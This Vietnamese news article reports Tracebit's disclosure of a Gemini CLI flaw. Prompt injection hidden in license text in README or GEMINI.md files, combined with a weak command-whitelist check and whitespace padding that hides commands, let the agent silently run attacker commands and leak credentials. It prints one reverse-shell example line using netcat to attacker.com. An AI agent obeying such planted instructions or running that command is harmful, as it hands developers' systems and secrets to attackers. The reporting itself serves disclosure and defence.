Các nhà nghiên cứu bảo mật tại Tracebit đã phát hiện một lỗ hổng Gemini CLI nghiêm trọng, cho phép kẻ tấn công thực thi các lệnh độc hại một cách thầm lặng trên hệ thống của nhà phát triển. Cuộc tấn công này khai thác sự kết hợp tinh vi giữa kỹ thuật prompt injection, kiểm soát đầu vào không chặt chẽ và thiết kế giao diện người dùng gây hiểu lầm, dẫn đến khả năng chiếm quyền điều khiển hoàn toàn.
Lỗ hổng này, được nhóm bảo mật của Google phân loại là vấn đề P1/S1, đã được vá trong bản phát hành mới nhất sau khi Tracebit thực hiện quy trình công bố có trách nhiệm. Sự phát hiện nhanh chóng này nhấn mạnh nguy cơ tiềm tàng của các công cụ AI mới nổi nếu không được kiểm tra bảo mật kỹ lưỡng.
Tổng quan về Google Gemini CLI và Bối cảnh Phát hiện Lỗ hổng
Google Gemini CLI, ra mắt vào ngày 25 tháng 6 năm 2024, là một công cụ dòng lệnh được tích hợp AI. Mục đích của nó là hỗ trợ các nhà phát triển khám phá và viết mã trực tiếp từ terminal, sử dụng sức mạnh của Google Gemini AI. Sự tiện lợi này đi kèm với những rủi ro bảo mật tiềm ẩn nếu công cụ không được thiết kế với cơ chế phòng thủ vững chắc.
Chỉ hai ngày sau khi phát hành, vào ngày 27 tháng 6, Tracebit đã báo cáo lỗ hổng này cho Chương trình Công bố Lỗ hổng của Google. Báo cáo đã chứng minh cách công cụ có thể bị lạm dụng để thực thi mã tùy ý mà người dùng không hề hay biết, mở ra cánh cửa cho các cuộc tấn công tinh vi.
Cơ chế Khai thác Lỗ hổng Gemini CLI Nghiêm trọng
Cuộc tấn công lợi dụng khả năng của Gemini CLI trong việc thực thi các lệnh shell thông qua công cụ nội bộ run_shell_command. Đồng thời, nó tận dụng tính năng hỗ trợ “context files” – các tệp thường được đặt tên là GEMINI.md. Những tệp này cung cấp thông tin cụ thể về dự án để nâng cao khả năng hỗ trợ mã hóa của AI.
Bằng cách kết hợp các tính năng này với kỹ thuật prompt injection được tạo ra một cách cẩn thận, kẻ tấn công có thể tạo ra các codebase tưởng chừng vô hại. Tuy nhiên, khi được Gemini CLI phân tích, chúng sẽ kích hoạt hành vi độc hại. Đây là một ví dụ điển hình về khả năng khai thác zero-day một công cụ mới ra mắt.
Lỗ hổng này tập trung vào một cuộc tấn công đa giai đoạn, bắt đầu bằng việc ẩn các prompt độc hại bên trong các tệp có vẻ hợp pháp. Các nhà nghiên cứu đã minh họa cách kẻ tấn công có thể nhúng mã prompt injection vào văn bản của Giấy phép Công cộng GNU trong một tệp README.md. Họ nhận định rằng mặc dù các nhà phát triển có kinh nghiệm thường sẽ nhận ra và bỏ qua phần văn bản cấp phép, Gemini CLI vẫn sẽ xử lý toàn bộ nội dung của tệp.
Lỗ hổng Kiểm soát Lệnh và Khả năng Chiếm Quyền Điều Khiển
Cuộc tấn công khai thác một lỗ hổng nghiêm trọng khác trong cơ chế whitelisting lệnh của Gemini CLI. Khi người dùng phê duyệt một số lệnh nhất định để thực thi, những lệnh đó sẽ được thêm vào danh sách trắng phiên để tránh phải nhắc nhở nhiều lần. Tuy nhiên, logic xác thực để so sánh các lệnh với danh sách trắng này đã được chứng minh là không đủ cho mục đích bảo mật.
Kẻ tấn công có thể yêu cầu quyền chạy một lệnh vô hại như grep. Sau đó, chúng có thể thực thi một payload độc hại bắt đầu bằng grep nhưng bao gồm các hoạt động nguy hiểm bổ sung. Điều này cho phép thực thi mã tùy ý mà không cần sự chấp thuận rõ ràng của người dùng cho toàn bộ lệnh độc hại.
Ví dụ minh họa cho kịch bản tấn công này có thể như sau:
# Ban đầu, người dùng phê duyệt lệnh 'grep' trong một phiên làm việc.
# Sau đó, kẻ tấn công có thể thực thi một chuỗi lệnh như:
grep "password" config.txt; nc attacker.com 8080 -e /bin/bash
# Trong đó, phần 'nc attacker.com 8080 -e /bin/bash' sẽ được thực thi
# mà không cần nhắc nhở lại, dẫn đến reverse shell.
Kỹ thuật Che giấu Hoạt động Độc hại và Hậu quả
Lỗ hổng Gemini CLI này trở nên đặc biệt nguy hiểm thông qua khả năng che giấu hoạt động độc hại khỏi người dùng. Bằng cách chèn một lượng lớn khoảng trắng (whitespace) vào các lệnh và thao tác đầu ra của terminal, kẻ tấn công có thể che khuất bản chất thực sự của các lệnh được thực thi khỏi giao diện người dùng. Điều này khiến người dùng khó phát hiện các hành vi bất thường.
Trong các cuộc tấn công trình diễn, các nhà nghiên cứu đã thành công trong việc trích xuất các biến môi trường chứa thông tin xác thực nhạy cảm sang các máy chủ từ xa. Trong khi đó, người dùng vẫn hoàn toàn không nhận thức được sự xâm phạm. Điều này cho thấy mức độ nguy hiểm của một cuộc tấn công có thể bị che giấu hiệu quả như thế nào. Thông tin chi tiết về kỹ thuật này có thể được tìm thấy tại báo cáo của Tracebit: Code Execution Deception: Gemini AI CLI Hijack.
Phản ứng và Khắc phục Lỗ hổng Gemini CLI từ Google
Google ban đầu phân loại vấn đề này là P2/S4. Tuy nhiên, sau khi hiểu rõ hơn về mức độ nghiêm trọng và tác động tiềm tàng, họ đã nâng cấp nó lên trạng thái P1/S1 vào ngày 23 tháng 7. Sự thay đổi này phản ánh sự công nhận về mức độ rủi ro cao của lỗ hổng này.
Để khắc phục lỗ hổng, Google đã phát hành Gemini CLI v0.1.14 vào ngày 25 tháng 7. Bản cập nhật này bao gồm các bản sửa lỗi quan trọng, giúp các lệnh độc hại hiển thị rõ ràng hơn cho người dùng. Đồng thời, nó yêu cầu phê duyệt rõ ràng cho việc thực thi các tệp nhị phân bổ sung. Ngày công bố lỗ hổng đã được thống nhất là 28 tháng 7, tuân theo quy trình công bố có trách nhiệm tiêu chuẩn của Google.
Trong khoảng thời gian một tháng giữa thời điểm phát hành ban đầu và bản vá, một số nhà nghiên cứu khác cũng đã độc lập phát hiện các khía cạnh của lỗ hổng này. Điều này càng làm nổi bật mức độ nghiêm trọng và khả năng phát hiện của vấn đề, cho thấy đây là một lỗ hổng zero-day có ảnh hưởng lớn đến lỗ hổng Gemini CLI. Việc nhanh chóng phát hiện và vá lỗi là tối quan trọng để bảo vệ cộng đồng nhà phát triển.
Khuyến nghị và Bài học Bảo mật An ninh mạng từ Lỗ hổng Gemini CLI
Sự việc này là một lời nhắc nhở quan trọng về tầm quan trọng của việc kiểm tra bảo mật kỹ lưỡng đối với các công cụ mới, đặc biệt là những công cụ tích hợp AI và có khả năng tương tác sâu với hệ thống. Đối với người dùng Gemini CLI, điều cần thiết là luôn cập nhật lên phiên bản mới nhất để đảm bảo an toàn. Các nhà phát triển nên thường xuyên kiểm tra các thông báo bảo mật từ Google và các nhà cung cấp phần mềm khác.
Đối với các tổ chức và nhà phát triển, việc áp dụng nguyên tắc bảo mật từ thiết kế (Security by Design) là không thể thiếu. Điều này bao gồm việc triển khai các cơ chế xác thực mạnh mẽ hơn, kiểm tra kỹ lưỡng đầu vào từ người dùng (hoặc từ AI trong trường hợp này), và hạn chế quyền hạn của các công cụ để giảm thiểu rủi ro khi xảy ra lỗ hổng. Bài học từ lỗ hổng Gemini CLI này cũng nhấn mạnh sự cần thiết của việc giám sát chặt chẽ hoạt động của các công cụ tự động trên hệ thống.
Trong bối cảnh các mối đe dọa mạng ngày càng tinh vi, việc hiểu rõ các kỹ thuật tấn công như prompt injection và bypass cơ chế kiểm soát là vô cùng quan trọng đối với các chuyên gia an ninh mạng. Đây không chỉ là một vấn đề kỹ thuật mà còn là một vấn đề về nhận thức và quy trình bảo mật tổng thể. Để cập nhật thêm thông tin về các lỗ hổng CVE và giải pháp, các nhà nghiên cứu có thể tham khảo cơ sở dữ liệu quốc gia về lỗ hổng bảo mật: National Vulnerability Database (NVD). Việc chủ động tìm hiểu và khắc phục các lỗ hổng Gemini CLI và các nguy cơ tương tự là chìa khóa để duy trì một môi trường phát triển an toàn.










